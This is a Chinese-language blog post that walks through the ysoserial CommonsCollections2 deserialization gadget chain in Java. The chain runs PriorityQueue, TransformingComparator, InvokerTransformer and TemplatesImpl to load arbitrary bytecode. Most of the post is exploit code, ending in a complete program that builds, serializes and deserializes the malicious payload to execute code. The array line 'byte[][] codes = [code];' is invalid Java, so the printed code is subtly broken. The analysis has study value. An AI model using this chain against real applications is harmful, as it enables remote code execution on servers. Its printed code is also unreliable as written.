Java安全 ysoserial CommonsCollections2示例分析
正文
在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化。
已知的TemplatesImpl->newTransformer()是最终要执行的。
TemplatesImpl类动态加载方式的实现分析见ysoserial CommonsCollections3 分析中的一、二部分。
TemplatesImpl->newTransformer()的调用通过InvokerTransformer.transform()反射机制实现,这里可以看ysoserial CommonsCollections1 分析中的前半部分内容。
cc2 commons-collections4版本利用链
cc2是针对commons-collections4版本,利用链如下:
/* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */
InvokerTransformer.transform()利用
所以在InvokerTransformer.transform()之后的利用如下:
public class CC2Test2 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field name = templates_cl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"xxx"); Field transletIndex = templates_cl.getDeclaredField("_transletIndex"); transletIndex.setAccessible(true); transletIndex.set(templates,0); byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class")); byte[][] codes = [code]; //给_bytecodes赋值 Field bytecodes = templates_cl.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,codes); //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap //_tfactorys是TransformerFactoryImpl类型的 TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field tfactory = templates_cl.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,transformerFactory); InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null); transformer.transform(templates); } }
InvokerTransformer.transform()的调用
TransformingComparator的compare,实现了对属性this.transformer的transform调用,这里可以通过TransformingComparator构造方法为该属性赋值。
public class TransformingComparator<I, O> implements Comparator<I>, Serializable { private static final long serialVersionUID = 3456940356043606220L; private final Comparator<O> decorated; private final Transformer<? super I, ? extends O> transformer; public TransformingComparator(Transformer<? super I, ? extends O> transformer) { this(transformer, ComparatorUtils.NATURAL_COMPARATOR); } public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) { this.decorated = decorated; this.transformer = transformer; } public int compare(I obj1, I obj2) { O value1 = this.transformer.transform(obj1); O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); } }
通过compare的调用
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null); TransformingComparator transformingComparator = new TransformingComparator(transformer); transformingComparator.compare(null,templates);
TransformingComparator.compare()的调用
PriorityQueue类中的readobject()调用了heapify(),heapify()中调用了siftDown(),siftDown()调用了siftDownUsingComparator(),siftDownUsingComparator()方法实现了comparator.compare()调用。
那么只要将transformingComparator对象赋值给comparator,可以通过反射,也可以通过构造方法,这里通过构造方法,且initialCapacity不能小于1。
public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) { // Note: This restriction of at least one is not actually needed, // but continues for 1.5 compatibility if (initialCapacity < 1) throw new IllegalArgumentException(); this.queue = new Object[initialCapacity]; this.comparator = comparator; }
由于comparator.compare()中的参数来自queue,所以需要将templates赋值给queue。
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(templates);
但是由于在priorityQueue.add()方法中会调用siftUp()->siftUpUsingComparator()->comparator.compare()。
priorityQueue.add()中带入的参数对象如果不存在newTransformer方法将报错,另外使用templates作为参数,又会导致在序列化过程构造恶意对象的时候得到执行。所以这里先用toString()方法代替,后通过反射方式修改this.iMethodName属性。
TransformingComparator transformingComparator = new TransformingComparator(transformer); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Field iMethodName = transformer.getClass().getDeclaredField("iMethodName"); iMethodName.setAccessible(true); iMethodName.set(transformer,"newTransformer");
queue属性赋值
transient queue无法序列化,但在PriorityQueue的writeobject()、readobject中对queue做了重写,实现序列化和反序列化。
private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException { //略 for (int i = 0; i < size; i++) s.writeObject(queue[i]); }
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { //略 for (int i = 0; i < size; i++) queue[i] = s.readObject(); heapify(); }
通过反射修改queues[0],利用如下:
TransformingComparator transformingComparator = new TransformingComparator(transformer); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Field iMethodName = transformer.getClass().getDeclaredField("iMethodName"); iMethodName.setAccessible(true); iMethodName.set(transformer,"newTransformer"); Field queue = priorityQueue.getClass().getDeclaredField("queue"); queue.setAccessible(true); Object[] queues = (Object[]) queue.get(priorityQueue); queues[0] = templates; //这里得替换queues[0] //如果queues[0]依旧保留使用Integer,会因为无法找到newTransformer报错。
最终完整利用实现
public class CC2Test2 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field name = templates_cl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"xxx"); Field transletIndex = templates_cl.getDeclaredField("_transletIndex"); transletIndex.setAccessible(true); transletIndex.set(templates,0); byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class")); byte[][] codes = [code]; //给_bytecodes赋值 Field bytecodes = templates_cl.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,codes); //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap //_tfactorys是TransformerFactoryImpl类型的 TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field tfactory = templates_cl.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,transformerFactory); InvokerTransformer transformer = new InvokerTransformer("toString", null, null); TransformingComparator transformingComparator = new TransformingComparator(transformer); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Field iMethodName = transformer.getClass().getDeclaredField("iMethodName"); iMethodName.setAccessible(true); iMethodName.set(transformer,"newTransformer"); Field queue = priorityQueue.getClass().getDeclaredField("queue"); queue.setAccessible(true); Object[] queues = (Object[]) queue.get(priorityQueue); queues[0] = templates; ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser")); objectOutputStream.writeObject(priorityQueue); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser")); objectInputStream.readObject(); } }
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